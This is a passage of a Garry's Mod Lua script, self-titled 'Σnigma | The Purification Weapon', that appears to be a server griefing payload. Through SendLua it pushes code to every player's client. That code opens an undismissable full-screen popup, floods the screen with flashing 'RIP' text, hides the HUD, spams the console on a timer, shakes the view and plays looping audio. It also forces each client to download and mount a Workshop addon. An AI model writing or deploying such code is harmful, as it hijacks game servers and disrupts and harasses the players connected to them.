  440.                 ScrH() /2 +math.random( -2, 2 ) +400,
  441.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  442.                 TEXT_ALIGN_CENTER,
  443.                 TEXT_ALIGN_CENTER,
  444.                 3,
  445.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  446.             )
  447.             draw.SimpleTextOutlined(
  448.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  449.                 "DermaLarge",
  450.                 ScrW() /2 +math.random( -2, 2 ),
  451.                 ScrH() /2 +math.random( -2, 2 ) -430,
  452.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  453.                 TEXT_ALIGN_CENTER,
  454.                 TEXT_ALIGN_CENTER,
  455.                 3,
  456.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  457.             )
  458.             draw.SimpleTextOutlined(
  459.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  460.                 "DermaLarge",
  461.                 ScrW() /2 +math.random( -2, 2 ),
  462.                 ScrH() /2 +math.random( -2, 2 ) +430,
  463.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  464.                 TEXT_ALIGN_CENTER,
  465.                 TEXT_ALIGN_CENTER,
  466.                 3,
  467.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  468.             )
  469.             draw.SimpleTextOutlined(
  470.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  471.                 "DermaLarge",
  472.                 ScrW() /2 +math.random( -2, 2 ),
  473.                 ScrH() /2 +math.random( -2, 2 ) +460,
  474.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  475.                 TEXT_ALIGN_CENTER,
  476.                 TEXT_ALIGN_CENTER,
  477.                 3,
  478.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  479.             )
  480.             draw.SimpleTextOutlined(
  481.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  482.                 "DermaLarge",
  483.                 ScrW() /2 +math.random( -2, 2 ),
  484.                 ScrH() /2 +math.random( -2, 2 ) -460,
  485.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  486.                 TEXT_ALIGN_CENTER,
  487.                 TEXT_ALIGN_CENTER,
  488.                 3,
  489.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  490.             )
  491.             draw.SimpleTextOutlined(
  492.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  493.                 "DermaLarge",
  494.                 ScrW() /2 +math.random( -2, 2 ),
  495.                 ScrH() /2 +math.random( -2, 2 ) +490,
  496.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  497.                 TEXT_ALIGN_CENTER,
  498.                 TEXT_ALIGN_CENTER,
  499.                 3,
  500.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  501.             )
  502.             draw.SimpleTextOutlined(
  503.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  504.                 "DermaLarge",
  505.                 ScrW() /2 +math.random( -2, 2 ),
  506.                 ScrH() /2 +math.random( -2, 2 ) -490,
  507.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  508.                 TEXT_ALIGN_CENTER,
  509.                 TEXT_ALIGN_CENTER,
  510.                 3,
  511.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  512.             )
  513.             draw.SimpleTextOutlined(
  514.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  515.                 "DermaLarge",
  516.                 ScrW() /2 +math.random( -2, 2 ),
  517.                 ScrH() /2 +math.random( -2, 2 ) +520,
  518.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  519.                 TEXT_ALIGN_CENTER,
  520.                 TEXT_ALIGN_CENTER,
  521.                 3,
  522.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  523.             )
  524.             draw.SimpleTextOutlined(
  525.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  526.                 "DermaLarge",
  527.                 ScrW() /2 +math.random( -2, 2 ),
  528.                 ScrH() /2 +math.random( -2, 2 ) -520,
  529.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  530.                 TEXT_ALIGN_CENTER,
  531.                 TEXT_ALIGN_CENTER,
  532.                 3,
  533.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  534.             )
  535.             draw.SimpleTextOutlined(
  536.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  537.                 "DermaLarge",
  538.                 ScrW() /2 +math.random( -2, 2 ),
  539.                 ScrH() /2 +math.random( -2, 2 ) +550,
  540.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  541.                 TEXT_ALIGN_CENTER,
  542.                 TEXT_ALIGN_CENTER,
  543.                 3,
  544.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  545.             )
  546.             draw.SimpleTextOutlined(
  547.                 "RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP, RIP,   ",
  548.                 "DermaLarge",
  549.                 ScrW() /2 +math.random( -2, 2 ),
  550.                 ScrH() /2 +math.random( -2, 2 ) -550,
  551.                 Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  552.                 TEXT_ALIGN_CENTER,
  553.                 TEXT_ALIGN_CENTER,
  554.                 3,
  555.                 Color(math.random(1,255),math.random(1,255),math.random(1,255))
  556.             )
  557.         end )
  558.  
  559.         local allowed = { ["CHudChat"] = true, ["CHudGMod"] = true, ["CHudWeaponSelection"] = true, ["CHudMenu"] = true }
  560.         hook.Add( "HUDShouldDraw", "newhud", function( str ) if not allowed[str] then return false end end )
  561.  
  562.         surface.PlaySound( "garrysmod/save_load4.wav" )
  563.         surface.PlaySound( "vo/npc/male01/excuseme02.wav" )
  564.     ]] )
  565. end )
  566.  
  567. ---CONSOLE
  568. decore = {
  569. [[
  570.        
  571.    
  572.    
  573.    
  574.    
  575.    
  576.    
  577.    
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  604.    
  605.    
  606.    
  607.    
  608.    
  609.    
  610.    
  611.    
  612.                        .,,uod8B8bou,,.
  613.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  614.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  615.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  616.         !.......:!?|||||!!^^""'            ||||
  617.          !.........||||                     ||||
  618.          !.........||||  ENIGMA IS          ||||
  619.          !.........||||                     ||||
  620.          !.........||||       |_|           ||||
  621.          !.........||||       | |ere        ||||
  622.          !.........||||                     ||||
  623.          `.........||||                    ,||||
  624.           .;.......||||               _.-!!|||||
  625.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  626. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  627. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  628. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  629. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  630. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  631. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  632.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  633.     `........::::::::::::::::;iof688888888888888888888b.     `
  634.       `......:::::::::;iof688888888888888888888888888888b.
  635.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  636.           `..::!8888888888888888888888888888888899fT|!^"'  
  637.            `' !!988888888888888888888888899fT|!^"'
  638.                `!!8888888888888888899fT|!^"'
  639.                   `!988888888899fT|!^"'
  640.                    `!9899fT|!^"'
  641.                      `!^"'
  642. ]]
  643. ,
  644. [[
  645.        
  646.    
  647.    
  648.    
  649.    
  650.    
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  674.    
  675.    
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  677.    
  678.    
  679.    
  680.    
  681.    
  682.    
  683.    
  684.    
  685.    
  686.                        .,,uod8B8bou,,.
  687.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  688.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  689.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  690.         !.......:!?|||||!!^^""'            ||||
  691.          !.........||||                     ||||
  692.          !.........||||                     ||||
  693.          !.........||||                     ||||
  694.          !.........||||                     ||||
  695.          !.........||||                     ||||
  696.          !.........||||                     ||||
  697.          `.........||||                    ,||||
  698.           .;.......||||               _.-!!|||||
  699.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  700. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  701. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  702. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  703. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  704. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  705. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  706.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  707.     `........::::::::::::::::;iof688888888888888888888b.     `
  708.       `......:::::::::;iof688888888888888888888888888888b.
  709.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  710.           `..::!8888888888888888888888888888888899fT|!^"'  
  711.            `' !!988888888888888888888888899fT|!^"'
  712.                `!!8888888888888888899fT|!^"'
  713.                   `!988888888899fT|!^"'
  714.                    `!9899fT|!^"'
  715.                      `!^"'
  716. ]]
  717. ,
  718. [[
  719.        
  720.    
  721.    
  722.    
  723.    
  724.    
  725.    
  726.    
  727.    
  728.    
  729.    
  730.    
  731.    
  732.    
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  736.    
  737.    
  738.    
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  745.    
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  747.    
  748.    
  749.    
  750.    
  751.    
  752.    
  753.    
  754.    
  755.    
  756.    
  757.    
  758.    
  759.    
  760.                        .,,uod8B8bou,,.
  761.               ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  762.          ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  763.          !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  764.         !.......:!?|||||!!^^""'            ||||
  765.          !.........||||                     ||||
  766.          !.........||||  It's Too Glitchy   ||||
  767.         !.........||||                     ||||
  768.         !.........||||       .   .         ||||
  769.         !.........||||         -           ||||
  770.         !.........||||                     ||||
  771.         `.........||||   HELP ME PLEASE   ,||||
  772.          .;.......||||               _.-!!|||||
  773.   .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  774. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  775. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  776. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  777. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  778. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  779. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  780.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  781.    `........::::::::::::::::;iof688888888888888888888b.     `
  782.      `......:::::::::;iof688888888888888888888888888888b.
  783.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  784.          `..::!8888888888888888888888888888888899fT|!^"'  
  785.            `' !!988888888888888888888888899fT|!^"'
  786.                `!!8888888888888888899fT|!^"'
  787.                  `!988888888899fT|!^"'
  788.                     `!9899fT|!^"'
  789.                      `!^"'
  790. ]]
  791. ,
  792. [[
  793.        
  794.    
  795.    
  796.    
  797.    
  798.    
  799.    
  800.    
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  827.    
  828.    
  829.    
  830.    
  831.    
  832.    
  833.    
  834.                       .,,uod8B8bou,,.
  835.              ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  836.         ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  837.         !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  838.          !.......:!?|||||!!^^""'            ||||
  839.         !.........||||                     ||||
  840.         !.........||||  HELP ME !!!        ||||
  841.         !.........||||                     ||||
  842.         !.........||||      I NEED HELP !  ||||
  843.         !.........||||                     ||||
  844.         !.........||||           ...       ||||
  845.         `.........||||                    ,||||
  846.          .;.......||||               _.-!!|||||
  847.   .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  848. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  849. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  850. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  851. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  852. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  853. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  854.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  855.    `........::::::::::::::::;iof688888888888888888888b.     `
  856.      `......:::::::::;iof688888888888888888888888888888b.
  857.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  858.          `..::!8888888888888888888888888888888899fT|!^"'  
  859.            `' !!988888888888888888888888899fT|!^"'
  860.                `!!8888888888888888899fT|!^"'
  861.                  `!988888888899fT|!^"'
  862.                     `!9899fT|!^"'
  863.                      `!^"'
  864. ]]
  865. ,
  866. [[
  867.        
  868.    
  869.    
  870.    
  871.    
  872.    
  873.    
  874.    
  875.    
  876.    
  877.    
  878.    
  879.    
  880.    
  881.    
  882.    
  883.    
  884.    
  885.    
  886.    
  887.    
  888.    
  889.    
  890.    
  891.    
  892.    
  893.    
  894.    
  895.    
  896.    
  897.    
  898.    
  899.    
  900.    
  901.    
  902.    
  903.    
  904.    
  905.    
  906.    
  907.    
  908.                       .,,uod8B8bou,,.
  909.              ..,uod8BBBBBBBBBBBBBBBBRPFT?l!i:.
  910.         ,=m8BBBBBBBBBBBBBBBRPFT?!||||||||||||||
  911.         !...:!TVBBBRPFT||||||||||!!^^""'   ||||
  912.          !.......:!?|||||!!^^""'            ||||
  913.         !.........||||                     ||||
  914.         !.........||||  What Is Love       ||||
  915.         !.........||||   Baby Don' Hurt Me ||||
  916.          !.........||||      No More        ||||
  917.          !.........||||                     ||||
  918.          !.........||||    ♪ ♫   ♪ ♫  ♪♫     ||||
  919.          `.........||||                    ,||||
  920.           .;.......||||               _.-!!|||||
  921.    .,uodWBBBBb.....||||       _.-!!|||||||||!:'
  922. !YBBBBBBBBBBBBBBb..!|||:..-!!|||||||!iof68BBBBBb....
  923. !..YBBBBBBBBBBBBBBb!!||||||||!iof68BBBBBBRPFT?!::   `.
  924. !....YBBBBBBBBBBBBBBbaaitf68BBBBBBRPFT?!:::::::::     `.
  925. !......YBBBBBBBBBBBBBBBBBBBRPFT?!::::::;:!^"`;:::       `.  
  926. !........YBBBBBBBBBBRPFT?!::::::::::^''...::::::;         iBBbo.
  927. `..........YBRPFT?!::::::::::::::::::::::::;iof68bo.      WBBBBbo.
  928.  `..........:::::::::::::::::::::::;iof688888888888b.     `YBBBP^'
  929.     `........::::::::::::::::;iof688888888888888888888b.     `
  930.       `......:::::::::;iof688888888888888888888888888888b.
  931.         `....:::;iof688888888888888888888888888888888899fT!         Σnigma | The Purification Weapon - Weapon By Zilnix, IXXE and Keeta
  932.           `..::!8888888888888888888888888888888899fT|!^"'  
  933.            `' !!988888888888888888888888899fT|!^"'
  934.                `!!8888888888888888899fT|!^"'
  935.                   `!988888888899fT|!^"'
  936.                    `!9899fT|!^"'
  937.                      `!^"'
  938. ]]
  939. }
  940.  
  941. function decorationconsole()
  942.     print(Color( 0, 0, 0 ), table.Random(decore))
  943. end
  944. -- Console Spam
  945. for k, v in pairs( player.GetAll() ) do
  946.  timer.Create("consolespamenigma", 0.4, 0, function() decorationconsole( v ) end )
  947. end
  948.  
  949. ----WEAPON Color
  950. hook.Add("Think","somewhere_over_the_rainbow",function()
  951.     local col = HSVToColor(CurTime() * 50 % 360, 1, 1)
  952.     for _, v in ipairs(player.GetAll()) do
  953.         v:SetWeaponColor(Vector(col.r / 255, col.g / 255, col.b / 255))
  954.     end
  955. end)
  956.  
  957. ---TEXT SPAM VISUEL
  958. lol:PushAction( 5, function( pPlayer )
  959.     lol:SendLua( pPlayer, [[
  960.     enigma = vgui.Create("DFrame")
  961.     enigma:SetPos(0,0)
  962.     enigma:SetSize(ScrW(), ScrH())
  963.     enigma:ShowCloseButton(false)
  964.     enigma:SetTitle("")
  965.     enigma:SetVisible(true)
  966.     enigma:MakePopup()
  967.     enigma:SetDraggable(false)
  968.     enigma.Paint = function(self, w, h)
  969.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  970.         draw.DrawText( "(╯°□°)╯︵ ┻━┻", "lapolice", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  971.         draw.DrawText( "Σ", "lapolice", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  972.         draw.DrawText( "Σ", "lapolice", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  973.         draw.DrawText( "Σ", "lapolice", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  974.         draw.DrawText( "Σ", "lapolice", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  975.         draw.DrawText( "RIP ;)", "lapolice", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  976.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  977.         draw.DrawText( "RIP ;)", "lapolice", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  978.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  979.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  980.         draw.DrawText( "RIP ;)", "lapolice", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  981.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  982.         draw.DrawText( "RIP ;)", "lapolice", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  983.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  984.         draw.DrawText( "RIP ;)", "lapolice", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  985.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  986.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  987.         draw.DrawText( "ΣNIGMA", "lapolice", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 ) 
  988.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  989.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  990.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  991.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  992.         draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  993.     end
  994.     ]] )
  995. end )
  996.  
  997. ---PARTICULE
  998.  
  999.     lol:SendLua( pPlayer, [=[
  1000. steamworks.FileInfo(1618885873,function(result)steamworks.Download(result.fileid,true,function(name)game.MountGMA(name)end) end)
  1001.  
  1002. timer.Simple(5, function()
  1003.  
  1004.     game.AddParticles( "particles/enigma.pcf" )
  1005.  
  1006.     PrecacheParticleSystem("enigma")
  1007.  
  1008.     for i = 1, 10 do
  1009.         ParticleEffectAttach("enigma", PATTACH_ABSORIGIN_FOLLOW, LocalPlayer(), 0)
  1010.     end
  1011.  
  1012.     local ragtbl = {}
  1013.     for i=1,20 do
  1014.         ragtbl[i] = ClientsideRagdoll( "models/player/gman_high.mdl" )
  1015.         ragtbl[i]:SetNoDraw( false )
  1016.         ragtbl[i]:DrawShadow( true )
  1017.     end
  1018.  
  1019.     local function GetWebMat( strURL )
  1020.         return g_]=].. lol.m_strImageGlobalVar.. [=[[strURL]
  1021.     end
  1022.     local uwu = {}
  1023.  
  1024.     hook.Add("HUDPaint", "okay",function()
  1025.         for k,v in pairs(uwu) do
  1026.             v()
  1027.         end
  1028.     end)
  1029.  
  1030.     SOUNDSTART_CTP = false
  1031.     OZJFOZJCEZIO = true
  1032.  
  1033.  
  1034.     sound.PlayURL(" ","mono noblock noplay",function(s)
  1035.         if not s then return end
  1036.         if SOUNDSTART_CTP then s:Stop() return end
  1037.         SOUNDSTART_CTP = true
  1038.         s:SetVolume(5 )
  1039.         s:Play()
  1040.         s:EnableLooping( true )
  1041.  
  1042.         local ragtbl = {}
  1043.  
  1044.         uwu["CoolEffect"] = function()
  1045.  
  1046.  
  1047.  
  1048.             local tbl = {}
  1049.             s:FFT(tbl,FFT_2048)
  1050.  
  1051.  
  1052.             xpcall(function()
  1053.                 local fal = 0
  1054.             for i=4,6 do
  1055.                 fal = fal + tbl[i]
  1056.             end
  1057.  
  1058.             if fal > 0.8 then
  1059.  
  1060.                 local oneid = "newhud"..math.random(100, 300).."id"
  1061.  
  1062.                 hook.Add( "HUDPaint", oneid, function()
  1063.                     surface.SetDrawColor( 255, 255, 255, 255 )
  1064.  
  1065.                     if GetWebMat( "hud2" ) then -- lui
  1066.                         surface.SetMaterial( GetWebMat("hud2")[1] )
  1067.                         surface.DrawTexturedRect( 0, 0, ScrW(), ScrH() )
  1068.                     end
  1069.  
  1070.                 end )
  1071.  
  1072.                 timer.Simple(0.2, function()
  1073.                     hook.Remove( "HUDPaint", oneid)
  1074.                 end)
  1075.  
  1076.             end
  1077.             end,function()
  1078.             end)
  1079.  
  1080.         end
  1081.  
  1082.     end)
  1083. end)
  1084. ]=])
  1085. game.AddParticles( "particles/enigma.pcf" )
  1086. PrecacheParticleSystem("enigma")
  1087.  
  1088.  
  1089. --Disco time
  1090. lol:PushAction( 10, function( pPlayer )
  1091.     local idx = pPlayer:EntIndex()
  1092.     timer.Create( "beat".. idx, 0.42, 0, function()
  1093.         if not IsValid( pPlayer ) then timer.Destroy( "beat".. idx ) return end
  1094.         pPlayer:ViewPunch( Angle(math.Rand(-15, -10), math.Rand(-10, 10), 0) )
  1095.     end )
  1096.  
  1097.  
  1098.     lol:SendLua( pPlayer, [[
  1099.         local emitter = ParticleEmitter( LocalPlayer():GetPos() )
  1100.         local time = 0
  1101.  
  1102.         hook.Add( "Think", "wat", function()
  1103.             if CurTime() < time then
  1104.                 return
  1105.             end
  1106.  
  1107.             time = CurTime() +0.05
  1108.             for i = 1, 16 do
  1109.                 local part = emitter:Add(
  1110.                     "particles/balloon_bit",
  1111.                     LocalPlayer():GetPos() +Vector(
  1112.                         math.random( -256, 256 ),
  1113.                         math.random( -256, 256 ),
  1114.                         256
  1115.                     )
  1116.                 )
  1117.                
  1118.                 if part then
  1119.                     local Size = math.random( 4, 7 )
